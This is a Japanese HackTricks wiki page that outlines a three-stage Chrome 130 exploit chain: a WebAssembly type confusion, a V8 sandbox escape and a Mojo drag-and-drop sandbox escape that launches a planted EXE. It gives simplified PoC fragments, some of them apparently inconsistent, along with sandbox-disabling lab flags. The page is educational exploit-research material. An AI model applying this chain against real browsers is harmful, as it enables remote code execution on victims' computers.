Chrome Exploiting

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

このページは、研究シリーズ “101 Chrome Exploitation”（Part-0 — Preface）に基づき、Google Chrome 130 に対するモダンな「full-chain」exploitation ワークフローの、高レベルかつ実践的な概要を提供します。 目的は、pentesters と exploit-developers に対して、自分たちの研究のために techniques を再現または適用するために必要な最低限の背景知識を与えることです。

1. Chrome アーキテクチャの要点

attack surface を理解するには、コードがどこで実行され、どの sandboxes が適用されるかを把握する必要があります。

多層の防御（defence-in-depth）:

• V8 sandbox (Isolate): メモリ権限が制限され、JITed JS / Wasm からの任意の読み書きを防止します。
• Renderer ↔ Browser split は Mojo/IPC メッセージ送受信により保証されており；renderer は ネイティブ な FS/ネットワークアクセスを持ちません。
• OS sandboxes は各プロセスをさらに隔離します（Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles）。

したがって、remote 攻撃者は次の 3 つの連続したプリミティブを必要とします:

1. V8 内のメモリ破損を起こし、arbitrary RW inside the V8 heap を獲得すること。
2. 攻撃者が escape the V8 sandbox to full renderer memory できる第二のバグ。
3. 最終的な sandbox-escape（多くの場合メモリ破損ではなくロジックの問題）により、outside of the Chrome OS sandbox でコードを実行すること。

2. ステージ 1 – WebAssembly Type-Confusion (CVE-2025-0291)

TurboFan の Turboshaft 最適化における欠陥により、値が single basic block loop 内で生成および消費される場合に WasmGC reference types を誤分類します。

影響:

• コンパイラが 型チェックをスキップし、reference (externref/anyref) を int64 として扱います。
• 巧妙に作成された Wasm により JS オブジェクトヘッダを攻撃者制御データで重ね合わせることが可能となり → addrOf() & fakeObj() AAW / AAR primitives。

最小限の PoC（抜粋）:

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

最適化をトリガーして、JSからspray objectsする:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

結果: arbitrary read/write within V8.

3. ステージ2 – V8 Sandboxの脱出 (issue 379140430)

Wasm 関数が tier-up-compiled されると、JS ↔ Wasm wrapper が生成されます。署名不一致のバグにより、Wasm 関数が再最適化され スタック上にある間 に wrapper が信頼された Tuple2 オブジェクトの末尾を越えて書き込みを行います。

Tuple2 オブジェクトの 2 × 64-bit フィールドを上書きすると、read/write on any address inside the Renderer process が得られ、結果的に V8 sandbox をバイパスします。

Key steps in exploit:

1. turbofan/baseline code を交互に切り替して関数を Tier-Up 状態にする。
2. スタック上に参照を保持したまま (Function.prototype.apply) tier-up をトリガーする。
3. Stage-1 AAR/AAW を使って隣接する Tuple2 を見つけて破損させる。

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

破損後、完全な機能を持つ renderer R/W primitive を得る。

4. ステージ3 – Renderer → OS サンドボックス脱出 (CVE-2024-11114)

The Mojo IPC interface blink.mojom.DragService.startDragging() は Renderer から 部分的に信頼された パラメータで呼び出すことができます。DragData 構造体を arbitrary file path を指すように作成することで、renderer はブラウザに対して native なドラッグ＆ドロップを renderer sandbox の外部で 実行させます。

これを悪用すると、プログラム上で悪意ある EXE（事前に全ユーザ書き込み可能な場所に配置しておいたもの）を Desktop に“ドラッグ”し、Windows がドロップ時に特定のファイルタイプを自動実行する挙動を利用できます。

Example (simplified):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

追加のメモリ破壊は必要ありません — ロジックの欠陥 により、ユーザー権限で任意のファイル実行が可能になります。

5. フルチェーンフロー

1. ユーザーが 悪意のあるウェブページを訪問。
2. ステージ1：Wasm module が CVE-2025-0291 を悪用 → V8 heap AAR/AAW。
3. ステージ2：Wrapper mismatch が Tuple2 を破損 → escape V8 sandbox。
4. ステージ3：startDragging() IPC → escape OS sandbox & execute payload。

結果：ホスト上での Remote Code Execution (RCE)（Chrome 130、Windows/Linux/macOS）。

6. ラボとデバッグのセットアップ

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Chromeのdevelopmentビルドを起動する際に便利なフラグ:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → kernel escape resource

When a renderer exploit needs a kernel pivot that stays inside the seccomp profile, abusing AF_UNIX MSG_OOB sockets still reachable inside the sandbox provides a deterministic path. Check the Linux kernel exploitation case-study below for the SKB UAF → kernel RCE chain:

Af Unix Msg Oob Uaf Skb Primitives

まとめ

• WebAssembly JIT bugs は依然として信頼できるエントリポイントです — 型システムはまだ未成熟です。
• V8内で二つ目の memory-corruption bug（例: wrapper mismatch）を発見すると、V8-sandbox escape が大幅に簡素化されます。
• privileged Mojo IPC interfaces におけるロジックレベルの脆弱性は、しばしば final sandbox escape に十分です — non-memory バグに注意してください。

参考

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium security architecture

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。